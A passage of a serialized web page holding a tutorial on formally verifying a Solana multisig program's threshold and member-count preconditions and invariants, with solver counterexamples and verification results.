}\n",[26799],{"type":21,"tag":78,"props":26800,"children":26801},{"__ignoreMap":7},[26802,26810,26847,26854],{"type":21,"tag":153,"props":26803,"children":26804},{"class":155,"line":156},[26805],{"type":21,"tag":153,"props":26806,"children":26807},{"style":160},[26808],{"type":26,"value":26809},"#[succeeds_if(\n",{"type":21,"tag":153,"props":26811,"children":26812},{"class":155,"line":166},[26813,26818,26822,26826,26830,26834,26838,26842],{"type":21,"tag":153,"props":26814,"children":26815},{"style":160},[26816],{"type":26,"value":26817},"    (threshold ",{"type":21,"tag":153,"props":26819,"children":26820},{"style":170},[26821],{"type":26,"value":11567},{"type":21,"tag":153,"props":26823,"children":26824},{"style":214},[26825],{"type":26,"value":16445},{"type":21,"tag":153,"props":26827,"children":26828},{"style":160},[26829],{"type":26,"value":2362},{"type":21,"tag":153,"props":26831,"children":26832},{"style":198},[26833],{"type":26,"value":22111},{"type":21,"tag":153,"props":26835,"children":26836},{"style":160},[26837],{"type":26,"value":26075},{"type":21,"tag":153,"props":26839,"children":26840},{"style":198},[26841],{"type":26,"value":355},{"type":21,"tag":153,"props":26843,"children":26844},{"style":160},[26845],{"type":26,"value":26846},"len()\n",{"type":21,"tag":153,"props":26848,"children":26849},{"class":155,"line":225},[26850],{"type":21,"tag":153,"props":26851,"children":26852},{"style":160},[26853],{"type":26,"value":22954},{"type":21,"tag":153,"props":26855,"children":26856},{"class":155,"line":239},[26857,26861,26865,26869,26873,26877,26881,26885],{"type":21,"tag":153,"props":26858,"children":26859},{"style":170},[26860],{"type":26,"value":173},{"type":21,"tag":153,"props":26862,"children":26863},{"style":170},[26864],{"type":26,"value":178},{"type":21,"tag":153,"props":26866,"children":26867},{"style":181},[26868],{"type":26,"value":9841},{"type":21,"tag":153,"props":26870,"children":26871},{"style":160},[26872],{"type":26,"value":189},{"type":21,"tag":153,"props":26874,"children":26875},{"style":198},[26876],{"type":26,"value":12313},{"type":21,"tag":153,"props":26878,"children":26879},{"style":160},[26880],{"type":26,"value":26686},{"type":21,"tag":153,"props":26882,"children":26883},{"style":198},[26884],{"type":26,"value":12313},{"type":21,"tag":153,"props":26886,"children":26887},{"style":160},[26888],{"type":26,"value":12318},{"type":21,"tag":22,"props":26890,"children":26891},{},[26892],{"type":26,"value":26893},"Verification failed again! This time we get a different counterexample:",{"type":21,"tag":143,"props":26895,"children":26897},{"code":26896},"threshold: 0\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[26898],{"type":21,"tag":78,"props":26899,"children":26900},{"__ignoreMap":7},[26901],{"type":26,"value":26896},{"type":21,"tag":22,"props":26903,"children":26904},{},[26905],{"type":26,"value":26906},"Aha! The threshold cannot be 0 either... Let's try again:",{"type":21,"tag":143,"props":26908,"children":26910},{"code":26909,"language":147,"meta":7,"className":145,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && threshold != 0\n)]\npub fn create(...) { ... }\n",[26911],{"type":21,"tag":78,"props":26912,"children":26913},{"__ignoreMap":7},[26914,26921,26956,26977,26984],{"type":21,"tag":153,"props":26915,"children":26916},{"class":155,"line":156},[26917],{"type":21,"tag":153,"props":26918,"children":26919},{"style":160},[26920],{"type":26,"value":26809},{"type":21,"tag":153,"props":26922,"children":26923},{"class":155,"line":166},[26924,26928,26932,26936,26940,26944,26948,26952],{"type":21,"tag":153,"props":26925,"children":26926},{"style":160},[26927],{"type":26,"value":26817},{"type":21,"tag":153,"props":26929,"children":26930},{"style":170},[26931],{"type":26,"value":11567},{"type":21,"tag":153,"props":26933,"children":26934},{"style":214},[26935],{"type":26,"value":16445},{"type":21,"tag":153,"props":26937,"children":26938},{"style":160},[26939],{"type":26,"value":2362},{"type":21,"tag":153,"props":26941,"children":26942},{"style":198},[26943],{"type":26,"value":22111},{"type":21,"tag":153,"props":26945,"children":26946},{"style":160},[26947],{"type":26,"value":26075},{"type":21,"tag":153,"props":26949,"children":26950},{"style":198},[26951],{"type":26,"value":355},{"type":21,"tag":153,"props":26953,"children":26954},{"style":160},[26955],{"type":26,"value":26846},{"type":21,"tag":153,"props":26957,"children":26958},{"class":155,"line":225},[26959,26963,26968,26972],{"type":21,"tag":153,"props":26960,"children":26961},{"style":198},[26962],{"type":26,"value":18318},{"type":21,"tag":153,"props":26964,"children":26965},{"style":160},[26966],{"type":26,"value":26967}," threshold ",{"type":21,"tag":153,"props":26969,"children":26970},{"style":198},[26971],{"type":26,"value":18385},{"type":21,"tag":153,"props":26973,"children":26974},{"style":160},[26975],{"type":26,"value":26976}," 0\n",{"type":21,"tag":153,"props":26978,"children":26979},{"class":155,"line":239},[26980],{"type":21,"tag":153,"props":26981,"children":26982},{"style":160},[26983],{"type":26,"value":22954},{"type":21,"tag":153,"props":26985,"children":26986},{"class":155,"line":382},[26987,26991,26995,26999,27003,27007,27011,27015],{"type":21,"tag":153,"props":26988,"children":26989},{"style":170},[26990],{"type":26,"value":173},{"type":21,"tag":153,"props":26992,"children":26993},{"style":170},[26994],{"type":26,"value":178},{"type":21,"tag":153,"props":26996,"children":26997},{"style":181},[26998],{"type":26,"value":9841},{"type":21,"tag":153,"props":27000,"children":27001},{"style":160},[27002],{"type":26,"value":189},{"type":21,"tag":153,"props":27004,"children":27005},{"style":198},[27006],{"type":26,"value":12313},{"type":21,"tag":153,"props":27008,"children":27009},{"style":160},[27010],{"type":26,"value":26686},{"type":21,"tag":153,"props":27012,"children":27013},{"style":198},[27014],{"type":26,"value":12313},{"type":21,"tag":153,"props":27016,"children":27017},{"style":160},[27018],{"type":26,"value":12318},{"type":21,"tag":22,"props":27020,"children":27021},{},[27022],{"type":26,"value":27023},"A third counterexample:",{"type":21,"tag":143,"props":27025,"children":27027},{"code":27026},"threshold: 4\ncreate_key: ...\nmembers: SparseVec { size: 536870920 }\n",[27028],{"type":21,"tag":78,"props":27029,"children":27030},{"__ignoreMap":7},[27031],{"type":26,"value":27026},{"type":21,"tag":22,"props":27033,"children":27034},{},[27035,27037,27043],{"type":26,"value":27036},"Here we see the size of our ",{"type":21,"tag":78,"props":27038,"children":27040},{"className":27039},[],[27041],{"type":26,"value":27042},"members",{"type":26,"value":27044}," vec is huge! We need to constrain that to be less than u16::MAX:",{"type":21,"tag":143,"props":27046,"children":27048},{"code":27047,"language":147,"meta":7,"className":145,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && (threshold != 0)\n    && (members.len() \u003C= (u16::MAX as usize))\n)]\npub fn create(...) { ... }\n",[27049],{"type":21,"tag":78,"props":27050,"children":27051},{"__ignoreMap":7},[27052,27059,27094,27115,27167,27174],{"type":21,"tag":153,"props":27053,"children":27054},{"class":155,"line":156},[27055],{"type":21,"tag":153,"props":27056,"children":27057},{"style":160},[27058],{"type":26,"value":26809},{"type":21,"tag":153,"props":27060,"children":27061},{"class":155,"line":166},[27062,27066,27070,27074,27078,27082,27086,27090],{"type":21,"tag":153,"props":27063,"children":27064},{"style":160},[27065],{"type":26,"value":26817},{"type":21,"tag":153,"props":27067,"children":27068},{"style":170},[27069],{"type":26,"value":11567},{"type":21,"tag":153,"props":27071,"children":27072},{"style":214},[27073],{"type":26,"value":16445},{"type":21,"tag":153,"props":27075,"children":27076},{"style":160},[27077],{"type":26,"value":2362},{"type":21,"tag":153,"props":27079,"children":27080},{"style":198},[27081],{"type":26,"value":22111},{"type":21,"tag":153,"props":27083,"children":27084},{"style":160},[27085],{"type":26,"value":26075},{"type":21,"tag":153,"props":27087,"children":27088},{"style":198},[27089],{"type":26,"value":355},{"type":21,"tag":153,"props":27091,"children":27092},{"style":160},[27093],{"type":26,"value":26846},{"type":21,"tag":153,"props":27095,"children":27096},{"class":155,"line":225},[27097,27101,27106,27110],{"type":21,"tag":153,"props":27098,"children":27099},{"style":198},[27100],{"type":26,"value":18318},{"type":21,"tag":153,"props":27102,"children":27103},{"style":160},[27104],{"type":26,"value":27105}," (threshold ",{"type":21,"tag":153,"props":27107,"children":27108},{"style":198},[27109],{"type":26,"value":18385},{"type":21,"tag":153,"props":27111,"children":27112},{"style":160},[27113],{"type":26,"value":27114}," 0)\n",{"type":21,"tag":153,"props":27116,"children":27117},{"class":155,"line":239},[27118,27122,27126,27130,27134,27138,27142,27147,27151,27155,27159,27163],{"type":21,"tag":153,"props":27119,"children":27120},{"style":198},[27121],{"type":26,"value":18318},{"type":21,"tag":153,"props":27123,"children":27124},{"style":160},[27125],{"type":26,"value":25691},{"type":21,"tag":153,"props":27127,"children":27128},{"style":198},[27129],{"type":26,"value":355},{"type":21,"tag":153,"props":27131,"children":27132},{"style":160},[27133],{"type":26,"value":23714},{"type":21,"tag":153,"props":27135,"children":27136},{"style":198},[27137],{"type":26,"value":22111},{"type":21,"tag":153,"props":27139,"children":27140},{"style":160},[27141],{"type":26,"value":5820},{"type":21,"tag":153,"props":27143,"children":27144},{"style":214},[27145],{"type":26,"value":27146},"u16",{"type":21,"tag":153,"props":27148,"children":27149},{"style":198},[27150],{"type":26,"value":265},{"type":21,"tag":153,"props":27152,"children":27153},{"style":214},[27154],{"type":26,"value":23732},{"type":21,"tag":153,"props":27156,"children":27157},{"style":170},[27158],{"type":26,"value":11553},{"type":21,"tag":153,"props":27160,"children":27161},{"style":214},[27162],{"type":26,"value":16445},{"type":21,"tag":153,"props":27164,"children":27165},{"style":160},[27166],{"type":26,"value":2006},{"type":21,"tag":153,"props":27168,"children":27169},{"class":155,"line":382},[27170],{"type":21,"tag":153,"props":27171,"children":27172},{"style":160},[27173],{"type":26,"value":22954},{"type":21,"tag":153,"props":27175,"children":27176},{"class":155,"line":501},[27177,27181,27185,27189,27193,27197,27201,27205],{"type":21,"tag":153,"props":27178,"children":27179},{"style":170},[27180],{"type":26,"value":173},{"type":21,"tag":153,"props":27182,"children":27183},{"style":170},[27184],{"type":26,"value":178},{"type":21,"tag":153,"props":27186,"children":27187},{"style":181},[27188],{"type":26,"value":9841},{"type":21,"tag":153,"props":27190,"children":27191},{"style":160},[27192],{"type":26,"value":189},{"type":21,"tag":153,"props":27194,"children":27195},{"style":198},[27196],{"type":26,"value":12313},{"type":21,"tag":153,"props":27198,"children":27199},{"style":160},[27200],{"type":26,"value":26686},{"type":21,"tag":153,"props":27202,"children":27203},{"style":198},[27204],{"type":26,"value":12313},{"type":21,"tag":153,"props":27206,"children":27207},{"style":160},[27208],{"type":26,"value":12318},{"type":21,"tag":22,"props":27210,"children":27211},{},[27212],{"type":26,"value":27213},"And now we get:",{"type":21,"tag":143,"props":27215,"children":27217},{"code":27216},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.6634517s\n",[27218],{"type":21,"tag":78,"props":27219,"children":27220},{"__ignoreMap":7},[27221],{"type":26,"value":27216},{"type":21,"tag":22,"props":27223,"children":27224},{},[27225],{"type":26,"value":27226},"🥳🥳🥳",{"type":21,"tag":22,"props":27228,"children":27229},{},[27230],{"type":26,"value":27231},"The attentive reader may have noticed that we didn't need to verify this condition:",{"type":21,"tag":143,"props":27233,"children":27235},{"code":27234,"language":147,"meta":7,"className":145,"style":7},"if total_members \u003C 1 {\n    return err!(MsError::EmptyMembers);\n}\n",[27236],{"type":21,"tag":78,"props":27237,"children":27238},{"__ignoreMap":7},[27239,27262,27293],{"type":21,"tag":153,"props":27240,"children":27241},{"class":155,"line":156},[27242,27246,27250,27254,27258],{"type":21,"tag":153,"props":27243,"children":27244},{"style":1751},[27245],{"type":26,"value":2338},{"type":21,"tag":153,"props":27247,"children":27248},{"style":192},[27249],{"type":26,"value":26154},{"type":21,"tag":153,"props":27251,"children":27252},{"style":198},[27253],{"type":26,"value":4094},{"type":21,"tag":153,"props":27255,"children":27256},{"style":300},[27257],{"type":26,"value":7253},{"type":21,"tag":153,"props":27259,"children":27260},{"style":160},[27261],{"type":26,"value":236},{"type":21,"tag":153,"props":27263,"children":27264},{"class":155,"line":166},[27265,27269,27273,27277,27281,27285,27289],{"type":21,"tag":153,"props":27266,"children":27267},{"style":1751},[27268],{"type":26,"value":19687},{"type":21,"tag":153,"props":27270,"children":27271},{"style":181},[27272],{"type":26,"value":26209},{"type":21,"tag":153,"props":27274,"children":27275},{"style":160},[27276],{"type":26,"value":189},{"type":21,"tag":153,"props":27278,"children":27279},{"style":214},[27280],{"type":26,"value":26218},{"type":21,"tag":153,"props":27282,"children":27283},{"style":198},[27284],{"type":26,"value":265},{"type":21,"tag":153,"props":27286,"children":27287},{"style":214},[27288],{"type":26,"value":26227},{"type":21,"tag":153,"props":27290,"children":27291},{"style":160},[27292],{"type":26,"value":530},{"type":21,"tag":153,"props":27294,"children":27295},{"class":155,"line":225},[27296],{"type":21,"tag":153,"props":27297,"children":27298},{"style":160},[27299],{"type":26,"value":548},{"type":21,"tag":22,"props":27301,"children":27302},{},[27303,27305,27311,27313,27318,27320,27325,27327,27332],{"type":26,"value":27304},"In this case this is actually redundant because if ",{"type":21,"tag":78,"props":27306,"children":27308},{"className":27307},[],[27309],{"type":26,"value":27310},"members.len() == 0",{"type":26,"value":27312}," then our threshold would also have to be ",{"type":21,"tag":78,"props":27314,"children":27316},{"className":27315},[],[27317],{"type":26,"value":2996},{"type":26,"value":27319}," (and our ",{"type":21,"tag":78,"props":27321,"children":27323},{"className":27322},[],[27324],{"type":26,"value":25442},{"type":26,"value":27326}," is not allowed to be ",{"type":21,"tag":78,"props":27328,"children":27330},{"className":27329},[],[27331],{"type":26,"value":2996},{"type":26,"value":27333},"). The solver realizes that this situation is impossible and therefore the expression we have above is sufficient!",{"type":21,"tag":114,"props":27335,"children":27337},{"id":27336},"_2-verify-threshold-requirements",[27338],{"type":26,"value":27339},"2. Verify threshold requirements",{"type":21,"tag":22,"props":27341,"children":27342},{},[27343],{"type":26,"value":27344},"A critical security property for multisigs is that the threshold should never be zero (which would let anyone issue transactions) and the threshold should never be greater than the number of members (which would let nobody issue transactions).",{"type":21,"tag":22,"props":27346,"children":27347},{},[27348,27350,27354],{"type":26,"value":27349},"Unlike the previous example, we want to verify this in ",{"type":21,"tag":5302,"props":27351,"children":27352},{},[27353],{"type":26,"value":12022},{"type":26,"value":27355}," cases. I.e. any instruction that could mutate the multisig account.",{"type":21,"tag":22,"props":27357,"children":27358},{},[27359,27361,27365,27367,27372],{"type":26,"value":27360},"In this case, we want to model this as an ",{"type":21,"tag":5302,"props":27362,"children":27363},{},[27364],{"type":26,"value":24470},{"type":26,"value":27366}," on the ",{"type":21,"tag":78,"props":27368,"children":27370},{"className":27369},[],[27371],{"type":26,"value":25434},{"type":26,"value":27373}," account struct:",{"type":21,"tag":143,"props":27375,"children":27377},{"code":27376,"language":147,"meta":7,"className":145,"style":7},"#[account]\n#[derive(Clone, Debug)]\n#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the members\n}\n",[27378],{"type":21,"tag":78,"props":27379,"children":27380},{"__ignoreMap":7},[27381,27388,27413,27420,27444,27495,27502,27521,27548,27575,27602,27629,27656,27683,27710,27745],{"type":21,"tag":153,"props":27382,"children":27383},{"class":155,"line":156},[27384],{"type":21,"tag":153,"props":27385,"children":27386},{"style":160},[27387],{"type":26,"value":23464},{"type":21,"tag":153,"props":27389,"children":27390},{"class":155,"line":166},[27391,27395,27400,27404,27409],{"type":21,"tag":153,"props":27392,"children":27393},{"style":160},[27394],{"type":26,"value":25530},{"type":21,"tag":153,"props":27396,"children":27397},{"style":214},[27398],{"type":26,"value":27399},"Clone",{"type":21,"tag":153,"props":27401,"children":27402},{"style":160},[27403],{"type":26,"value":1670},{"type":21,"tag":153,"props":27405,"children":27406},{"style":214},[27407],{"type":26,"value":27408},"Debug",{"type":21,"tag":153,"props":27410,"children":27411},{"style":160},[27412],{"type":26,"value":22954},{"type":21,"tag":153,"props":27414,"children":27415},{"class":155,"line":225},[27416],{"type":21,"tag":153,"props":27417,"children":27418},{"style":160},[27419],{"type":26,"value":23472},{"type":21,"tag":153,"props":27421,"children":27422},{"class":155,"line":239},[27423,27428,27432,27436,27440],{"type":21,"tag":153,"props":27424,"children":27425},{"style":160},[27426],{"type":26,"value":27427},"    (self",{"type":21,"tag":153,"props":27429,"children":27430},{"style":198},[27431],{"type":26,"value":355},{"type":21,"tag":153,"props":27433,"children":27434},{"style":160},[27435],{"type":26,"value":23764},{"type":21,"tag":153,"props":27437,"children":27438},{"style":198},[27439],{"type":26,"value":12664},{"type":21,"tag":153,"props":27441,"children":27442},{"style":160},[27443],{"type":26,"value":23773},{"type":21,"tag":153,"props":27445,"children":27446},{"class":155,"line":382},[27447,27451,27455,27459,27463,27467,27471,27475,27479,27483,27487,27491],{"type":21,"tag":153,"props":27448,"children":27449},{"style":198},[27450],{"type":26,"value":18318},{"type":21,"tag":153,"props":27452,"children":27453},{"style":160},[27454],{"type":26,"value":23697},{"type":21,"tag":153,"props":27456,"children":27457},{"style":198},[27458],{"type":26,"value":355},{"type":21,"tag":153,"props":27460,"children":27461},{"style":160},[27462],{"type":26,"value":23764},{"type":21,"tag":153,"props":27464,"children":27465},{"style":170},[27466],{"type":26,"value":11567},{"type":21,"tag":153,"props":27468,"children":27469},{"style":214},[27470],{"type":26,"value":16445},{"type":21,"tag":153,"props":27472,"children":27473},{"style":198},[27474],{"type":26,"value":10923},{"type":21,"tag":153,"props":27476,"children":27477},{"style":160},[27478],{"type":26,"value":16510},{"type":21,"tag":153,"props":27480,"children":27481},{"style":198},[27482],{"type":26,"value":355},{"type":21,"tag":153,"props":27484,"children":27485},{"style":160},[27486],{"type":26,"value":23676},{"type":21,"tag":153,"props":27488,"children":27489},{"style":198},[27490],{"type":26,"value":355},{"type":21,"tag":153,"props":27492,"children":27493},{"style":160},[27494],{"type":26,"value":23825},{"type":21,"tag":153,"props":27496,"children":27497},{"class":155,"line":501},[27498],{"type":21,"tag":153,"props":27499,"children":27500},{"style":160},[27501],{"type":26,"value":22954},{"type":21,"tag":153,"props":27503,"children":27504},{"class":155,"line":533},[27505,27509,27513,27517],{"type":21,"tag":153,"props":27506,"children":27507},{"style":170},[27508],{"type":26,"value":173},{"type":21,"tag":153,"props":27510,"children":27511},{"style":170},[27512],{"type":26,"value":23844},{"type":21,"tag":153,"props":27514,"children":27515},{"style":214},[27516],{"type":26,"value":23849},{"type":21,"tag":153,"props":27518,"children":27519},{"style":160},[27520],{"type":26,"value":236},{"type":21,"tag":153,"props":27522,"children":27523},{"class":155,"line":542},[27524,27528,27532,27536,27540,27544],{"type":21,"tag":153,"props":27525,"children":27526},{"style":170},[27527],{"type":26,"value":23537},{"type":21,"tag":153,"props":27529,"children":27530},{"style":192},[27531],{"type":26,"value":23865},{"type":21,"tag":153,"props":27533,"children":27534},{"style":198},[27535],{"type":26,"value":201},{"type":21,"tag":153,"props":27537,"children":27538},{"style":214},[27539],{"type":26,"value":23723},{"type":21,"tag":153,"props":27541,"children":27542},{"style":160},[27543],{"type":26,"value":23878},{"type":21,"tag":153,"props":27545,"children":27546},{"style":3050},[27547],{"type":26,"value":23883},{"type":21,"tag":153,"props":27549,"children":27550},{"class":155,"line":762},[27551,27555,27559,27563,27567,27571],{"type":21,"tag":153,"props":27552,"children":27553},{"style":170},[27554],{"type":26,"value":23537},{"type":21,"tag":153,"props":27556,"children":27557},{"style":192},[27558],{"type":26,"value":23895},{"type":21,"tag":153,"props":27560,"children":27561},{"style":198},[27562],{"type":26,"value":201},{"type":21,"tag":153,"props":27564,"children":27565},{"style":214},[27566],{"type":26,"value":23723},{"type":21,"tag":153,"props":27568,"children":27569},{"style":160},[27570],{"type":26,"value":23908},{"type":21,"tag":153,"props":27572,"children":27573},{"style":3050},[27574],{"type":26,"value":23913},{"type":21,"tag":153,"props":27576,"children":27577},{"class":155,"line":776},[27578,27582,27586,27590,27594,27598],{"type":21,"tag":153,"props":27579,"children":27580},{"style":170},[27581],{"type":26,"value":23537},{"type":21,"tag":153,"props":27583,"children":27584},{"style":192},[27585],{"type":26,"value":23925},{"type":21,"tag":153,"props":27587,"children":27588},{"style":198},[27589],{"type":26,"value":201},{"type":21,"tag":153,"props":27591,"children":27592},{"style":214},[27593],{"type":26,"value":20245},{"type":21,"tag":153,"props":27595,"children":27596},{"style":160},[27597],{"type":26,"value":23938},{"type":21,"tag":153,"props":27599,"children":27600},{"style":3050},[27601],{"type":26,"value":23943},{"type":21,"tag":153,"props":27603,"children":27604},{"class":155,"line":795},[27605,27609,27613,27617,27621,27625],{"type":21,"tag":153,"props":27606,"children":27607},{"style":170},[27608],{"type":26,"value":23537},{"type":21,"tag":153,"props":27610,"children":27611},{"style":192},[27612],{"type":26,"value":23955},{"type":21,"tag":153,"props":27614,"children":27615},{"style":198},[27616],{"type":26,"value":201},{"type":21,"tag":153,"props":27618,"children":27619},{"style":214},[27620],{"type":26,"value":20245},{"type":21,"tag":153,"props":27622,"children":27623},{"style":160},[27624],{"type":26,"value":23908},{"type":21,"tag":153,"props":27626,"children":27627},{"style":3050},[27628],{"type":26,"value":23972},{"type":21,"tag":153,"props":27630,"children":27631},{"class":155,"line":808},[27632,27636,27640,27644,27648,27652],{"type":21,"tag":153,"props":27633,"children":27634},{"style":170},[27635],{"type":26,"value":23537},{"type":21,"tag":153,"props":27637,"children":27638},{"style":192},[27639],{"type":26,"value":23984},{"type":21,"tag":153,"props":27641,"children":27642},{"style":198},[27643],{"type":26,"value":201},{"type":21,"tag":153,"props":27645,"children":27646},{"style":214},[27647],{"type":26,"value":5090},{"type":21,"tag":153,"props":27649,"children":27650},{"style":160},[27651],{"type":26,"value":23997},{"type":21,"tag":153,"props":27653,"children":27654},{"style":3050},[27655],{"type":26,"value":24002},{"type":21,"tag":153,"props":27657,"children":27658},{"class":155,"line":820},[27659,27663,27667,27671,27675,27679],{"type":21,"tag":153,"props":27660,"children":27661},{"style":170},[27662],{"type":26,"value":23537},{"type":21,"tag":153,"props":27664,"children":27665},{"style":192},[27666],{"type":26,"value":24014},{"type":21,"tag":153,"props":27668,"children":27669},{"style":198},[27670],{"type":26,"value":201},{"type":21,"tag":153,"props":27672,"children":27673},{"style":214},[27674],{"type":26,"value":2266},{"type":21,"tag":153,"props":27676,"children":27677},{"style":160},[27678],{"type":26,"value":24027},{"type":21,"tag":153,"props":27680,"children":27681},{"style":3050},[27682],{"type":26,"value":24032},{"type":21,"tag":153,"props":27684,"children":27685},{"class":155,"line":842},[27686,27690,27694,27698,27702,27706],{"type":21,"tag":153,"props":27687,"children":27688},{"style":170},[27689],{"type":26,"value":23537},{"type":21,"tag":153,"props":27691,"children":27692},{"style":192},[27693],{"type":26,"value":24044},{"type":21,"tag":153,"props":27695,"children":27696},{"style":198},[27697],{"type":26,"value":201},{"type":21,"tag":153,"props":27699,"children":27700},{"style":214},[27701],{"type":26,"value":14769},{"type":21,"tag":153,"props":27703,"children":27704},{"style":160},[27705],{"type":26,"value":1670},{"type":21,"tag":153,"props":27707,"children":27708},{"style":3050},[27709],{"type":26,"value":24061},{"type":21,"tag":153,"props":27711,"children":27712},{"class":155,"line":3204},[27713,27717,27721,27725,27729,27733,27737,27741],{"type":21,"tag":153,"props":27714,"children":27715},{"style":170},[27716],{"type":26,"value":23537},{"type":21,"tag":153,"props":27718,"children":27719},{"style":192},[27720],{"type":26,"value":24073},{"type":21,"tag":153,"props":27722,"children":27723},{"style":198},[27724],{"type":26,"value":201},{"type":21,"tag":153,"props":27726,"children":27727},{"style":214},[27728],{"type":26,"value":24082},{"type":21,"tag":153,"props":27730,"children":27731},{"style":160},[27732],{"type":26,"value":8537},{"type":21,"tag":153,"props":27734,"children":27735},{"style":214},[27736],{"type":26,"value":2878},{"type":21,"tag":153,"props":27738,"children":27739},{"style":160},[27740],{"type":26,"value":24095},{"type":21,"tag":153,"props":27742,"children":27743},{"style":3050},[27744],{"type":26,"value":24100},{"type":21,"tag":153,"props":27746,"children":27747},{"class":155,"line":3230},[27748],{"type":21,"tag":153,"props":27749,"children":27750},{"style":160},[27751],{"type":26,"value":548},{"type":21,"tag":22,"props":27753,"children":27754},{},[27755,27757,27762],{"type":26,"value":27756},"Our verification framework will generate an invariant harness for each instruction. Instructions that can potentially modify the ",{"type":21,"tag":78,"props":27758,"children":27760},{"className":27759},[],[27761],{"type":26,"value":25434},{"type":26,"value":27763}," object will be checked to ensure that the invariant still holds after modification.",{"type":21,"tag":22,"props":27765,"children":27766},{},[27767,27769,27774],{"type":26,"value":27768},"Let's try this on the ",{"type":21,"tag":78,"props":27770,"children":27772},{"className":27771},[],[27773],{"type":26,"value":25513},{"type":26,"value":27775}," instruction that we've already seen:",{"type":21,"tag":143,"props":27777,"children":27779},{"code":27778},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.8006988s\n",[27780],{"type":21,"tag":78,"props":27781,"children":27782},{"__ignoreMap":7},[27783],{"type":26,"value":27778},{"type":21,"tag":22,"props":27785,"children":27786},{},[27787,27789,27794],{"type":26,"value":27788},"To ensure this is working, we can test by commenting out this check from ",{"type":21,"tag":78,"props":27790,"children":27792},{"className":27791},[],[27793],{"type":26,"value":25513},{"type":26,"value":201},{"type":21,"tag":143,"props":27796,"children":27798},{"code":27797,"language":147,"meta":7,"className":145,"style":7},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n//     return err!(MsError::InvalidThreshold);\n// }\n",[27799],{"type":21,"tag":78,"props":27800,"children":27801},{"__ignoreMap":7},[27802,27810,27818],{"type":21,"tag":153,"props":27803,"children":27804},{"class":155,"line":156},[27805],{"type":21,"tag":153,"props":27806,"children":27807},{"style":3050},[27808],{"type":26,"value":27809},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n",{"type":21,"tag":153,"props":27811,"children":27812},{"class":155,"line":166},[27813],{"type":21,"tag":153,"props":27814,"children":27815},{"style":3050},[27816],{"type":26,"value":27817},"//     return err!(MsError::InvalidThreshold);\n",{"type":21,"tag":153,"props":27819,"children":27820},{"class":155,"line":225},[27821],{"type":21,"tag":153,"props":27822,"children":27823},{"style":3050},[27824],{"type":26,"value":27825},"// }\n",{"type":21,"tag":22,"props":27827,"children":27828},{},[27829],{"type":26,"value":27830},"And run again:",{"type":21,"tag":143,"props":27832,"children":27834},{"code":27833},"VERIFICATION:- FAILED\nVerification Time: 8.245743s\n",[27835],{"type":21,"tag":78,"props":27836,"children":27837},{"__ignoreMap":7},[27838],{"type":26,"value":27833},{"type":21,"tag":22,"props":27840,"children":27841},{},[27842],{"type":26,"value":27843},"We get the following counterexample:",{"type":21,"tag":143,"props":27845,"children":27847},{"code":27846,"language":147,"meta":7,"className":145,"style":7},"Account {\n    account: Ms {\n        threshold: 32768,\n        authority_index: 1,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: SparseVec {\n            size: 5112,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[27848],{"type":21,"tag":78,"props":27849,"children":27850},{"__ignoreMap":7},[27851,27862,27882,27902,27922,27942,27962,27982,28002,28022,28043,28064,28071,28079,28109],{"type":21,"tag":153,"props":27852,"children":27853},{"class":155,"line":156},[27854,27858],{"type":21,"tag":153,"props":27855,"children":27856},{"style":214},[27857],{"type":26,"value":19844},{"type":21,"tag":153,"props":27859,"children":27860},{"style":160},[27861],{"type":26,"value":236},{"type":21,"tag":153,"props":27863,"children":27864},{"class":155,"line":166},[27865,27870,27874,27878],{"type":21,"tag":153,"props":27866,"children":27867},{"style":192},[27868],{"type":26,"value":27869},"    account",{"type":21,"tag":153,"props":27871,"children":27872},{"style":198},[27873],{"type":26,"value":201},{"type":21,"tag":153,"props":27875,"children":27876},{"style":214},[27877],{"type":26,"value":23849},{"type":21,"tag":153,"props":27879,"children":27880},{"style":160},[27881],{"type":26,"value":236},{"type":21,"tag":153,"props":27883,"children":27884},{"class":155,"line":225},[27885,27889,27893,27898],{"type":21,"tag":153,"props":27886,"children":27887},{"style":192},[27888],{"type":26,"value":26523},{"type":21,"tag":153,"props":27890,"children":27891},{"style":198},[27892],{"type":26,"value":201},{"type":21,"tag":153,"props":27894,"children":27895},{"style":300},[27896],{"type":26,"value":27897}," 32768",{"type":21,"tag":153,"props":27899,"children":27900},{"style":160},[27901],{"type":26,"value":792},{"type":21,"tag":153,"props":27903,"children":27904},{"class":155,"line":239},[27905,27910,27914,27918],{"type":21,"tag":153,"props":27906,"children":27907},{"style":192},[27908],{"type":26,"value":27909},"        authority_index",{"type":21,"tag":153,"props":27911,"children":27912},{"style":198},[27913],{"type":26,"value":201},{"type":21,"tag":153,"props":27915,"children":27916},{"style":300},[27917],{"type":26,"value":7253},{"type":21,"tag":153,"props":27919,"children":27920},{"style":160},[27921],{"type":26,"value":792},{"type":21,"tag":153,"props":27923,"children":27924},{"class":155,"line":382},[27925,27930,27934,27938],{"type":21,"tag":153,"props":27926,"children":27927},{"style":192},[27928],{"type":26,"value":27929},"        transaction_index",{"type":21,"tag":153,"props":27931,"children":27932},{"style":198},[27933],{"type":26,"value":201},{"type":21,"tag":153,"props":27935,"children":27936},{"style":300},[27937],{"type":26,"value":5799},{"type":21,"tag":153,"props":27939,"children":27940},{"style":160},[27941],{"type":26,"value":792},{"type":21,"tag":153,"props":27943,"children":27944},{"class":155,"line":501},[27945,27950,27954,27958],{"type":21,"tag":153,"props":27946,"children":27947},{"style":192},[27948],{"type":26,"value":27949},"        